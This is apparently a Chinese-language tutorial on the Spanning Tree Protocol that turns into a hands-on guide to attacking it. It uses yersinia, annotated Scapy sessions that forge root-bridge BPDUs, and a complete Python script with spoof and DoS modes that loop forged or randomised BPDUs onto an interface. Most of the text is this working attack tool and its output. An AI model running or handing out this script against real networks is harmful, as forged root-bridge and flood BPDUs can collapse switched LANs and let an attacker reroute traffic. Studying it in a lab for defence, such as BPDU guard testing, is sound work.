STP
生成樹協議(英語:Spanning Tree Protocol,STP),是一種工作在OSI網絡模型中的第二層(數據鏈路層)的通信協議,基本應用是防止交換機冗餘鏈路產生的環路.用於確保以太網中無環路的邏輯拓撲結構.從而避免了廣播風暴,大量佔用交換機的資源.
STP的工作過程如下:
- 首先進行根網橋的選舉,不斷髮送BPDU,由
橋ID
最小的爲根橋 - 計算每個節點到根橋的距離,並由這些路徑得到各冗餘鏈路的代價,選擇最小的成爲通信路徑(相應的端口狀態變爲forwarding),其它的就成爲備份路徑(相應的端口狀態變爲blocking)。
橋ID:
- 交換機設置的
優先級(bridge priority)
- 交換機自身的
mac
,越小優先級越高
優先級
優先,優先級
相同則比較mac
stp欺騙
發送網橋ID很低的精心設計的BPDU,就可以欺騙交換機,使它以爲這是根網橋,這會導致STP重新收斂(reconverge),從而引起迴路,導致網絡崩潰。
stp dos攻擊
利用假冒的BPDU數據來消耗交換機的資源,從而達到破壞網絡環境的目的.
數據包抓包
需要配置有生成樹的網絡環境
利用yersinia
工具進行STP攻擊,進行抓包分析
STP欺騙
yersinia -G
交換機發出來的數據包
Scapy中Dot3
對應的就是IEEE 802.3協議
Dot3
- src:
00:03:0f:91:06:73
交換機mac - dst:
01-80-C2-00-00-00
鏈路層中01-80-C2-00-00-00
多播地址
LLC
- dsap:
0x42
- ssap:
0x42
STP
- bridgeid:
0
- bridgemac:
00:03:0f:91:06:73
交換機mac
攻擊發出的包
發現對mac
進行僞造,mac
小於了交換機mac
,成功了根橋的欺騙
STP
- bridgeid:
0
- bridgemac:
00:03:0f:90:06:73
僞裝的MAC
STP Dos
yersinia -G
抓包
隨機生成一些字段
編寫腳本
STP欺騙
1.抓取STP數據包,並獲取當前根橋mac
sniff()
:嗅探數據
sniff
的幫助信息裏面有這樣一段
>>> help(sniff)
[...]
stop_filter: Python function applied to each packet to determine if
we have to stop the capture after this packet.
--Ex: stop_filter = lambda x: x.haslayer(TCP)
[...]
根據例子,可以得出這樣的函數lambda x: x.haslayer(STP)
利用這個來抓取STP
的數據包
>>> stp = STP()
>>> tcp = TCP()
>>> stp.haslayer(STP)
True
>>> tcp.haslayer(STP)
0
>>> sniff(stop_filter=lambda x: x.haslayer(STP),count=1)
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>
提取根橋mac
>>> packet = sniff(stop_filter=lambda x: x.haslayer(STP),count=1)
>>> packet
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>
>>> packet[-1]
<Dot3 dst=01:80:c2:00:00:00 src=00:03:0f:91:06:73 len=38 |<LLC dsap=0x42 ssap=0x42 ctrl=3 |<STP proto=0 version=0 bpdutype=0 bpduflags=0 rootid=0 rootmac=00:03:0f:91:06:73 pathcost=0 bridgeid=0 bridgemac=00:03:0f:91:06:73 portid=32769 age=0.0 maxage=20.0 hellotime=2.0 fwddelay=15.0 |<Padding load='\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>
>>> stp = packet[-1].getlayer('STP')
>>> stp.fields['rootmac']
'00:03:0f:91:06:73'
2.發送stp欺騙數據包
查看數據包字段
>>> ls(STP)
proto : ShortField = (0)
version : ByteField = (0)
bpdutype : ByteField = (0)
bpduflags : ByteField = (0)
rootid : ShortField = (0)
rootmac : MACField = ('00:00:00:00:00:00')
pathcost : IntField = (0)
bridgeid : ShortField = (0)
bridgemac : MACField = ('00:00:00:00:00:00')
portid : ShortField = (0)
age : BCDFloatField = (1)
maxage : BCDFloatField = (20)
hellotime : BCDFloatField = (2)
fwddelay : BCDFloatField = (15)
構造數據包
>>> mac_new = '00:03:0f:90:06:73' #比交換機mac 00:03:0f:91:06:73小
>>> packet = Dot3(src=mac_new,dst='01:80:C2:00:00:00')/LLC()/STP(rootid=0,rootmac=mac_new,bridgeid=0,bridgemac=mac_new)
>>> packet.show()
###[ 802.3 ]###
dst= 01:80:C2:00:00:00
src= 00:03:0f:90:06:73
len= None
###[ LLC ]###
dsap= 0x42
ssap= 0x42
ctrl= 3
###[ Spanning Tree Protocol ]###
proto= 0
version= 0
bpdutype= 0
bpduflags= 0
rootid= 0
rootmac= 00:03:0f:90:06:73
pathcost= 0
bridgeid= 0
bridgemac= 00:03:0f:90:06:73
portid= 0
age= 1
maxage= 20
hellotime= 2
fwddelay= 15
3.發送包
>>> sendp(packet,loop=1)
........................................................................................................
[...]
發送前
發送後
STP Dos
1.隨機優先級
優先級:
- 4096的倍數
- 0~61440
>>> id_list = []
>>> for i in range(9):id_list.append(i * 4096)
>>> id_list
[0, 4096, 8192, 12288, 16384, 20480, 24576, 28672, 32768]
>>> import random
>>> random.choice(id_list)
0
>>> random.choice(id_list)
4096
2.隨機MAC
>>> print(RandMAC())
77:41:76:0c:6b:8f
>>> print(RandMAC())
8e:f4:f8:90:66:4d
完整代碼
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from scapy.all import (
Ether,
STP,
LLC,
sendp,
sniff,
RandMAC)
from random import choice
from argparse import ArgumentParser
import sys
mac_dst = '01:80:C2:00:00:00'
def bpdu_dos(iface):
id_list = []
for i in range(9):
id_list.append(i * 4096)
randmac = RandMAC()
ether = Ether(dst=mac_dst,src=randmac)/LLC()
stp = STP(rootid=choice(id_list),rootmac=randmac,bridgeid=choice(id_list),bridgemac=randmac)
pkt = ether/stp
sendp(pkt,iface=iface,loop=1)
def bpdu_spoof(iface):
mac_new = get_rootmac(iface)
while 1:
ether = Ether(dst=mac_dst,src=mac_new)/LLC()
stp = STP(rootid=0,rootmac=mac_new,bridgeid=0,bridgemac=mac_new)
pkt = ether/stp
sendp(pkt,iface=iface)
def get_rootmac(iface):
stp = sniff(stop_filter=lambda x: x.haslayer(STP),iface=iface,timeout=3,count=1)
if not stp:
print('[-]No stp packet')
sys.exit(1)
mac = stp.res[0].fields['src']
mac_list = mac.split(':')
mac_list[3] = hex(int(mac_list[3],16) - 1)[2:]
mac_new = ':'.join(mac_list)
return mac_new
def main():
usage = '%s [-i interface] [-m mode]'%(sys.argv[0])
parser = ArgumentParser(usage=usage)
parser.add_argument('-i','--iface',default='eth0',help='The network interface of use')
parser.add_argument('-m','--mode',required=True,help='[spoof]:The BPDU Root Roles attack [dos]:The BPDU Dos attack')
args = parser.parse_args()
iface = args.iface
attack = args.mode
try:
if attack == 'spoof':
bpdu_spoof(iface)
elif attack == 'dos':
bpdu_dos(iface)
else:
parser.print_help()
except KeyboardInterrupt:
print('\n[+] Stopped sending')
except ValueError: # 捕獲輸入參數錯誤
parser.print_help()
if __name__ == '__main__':
main()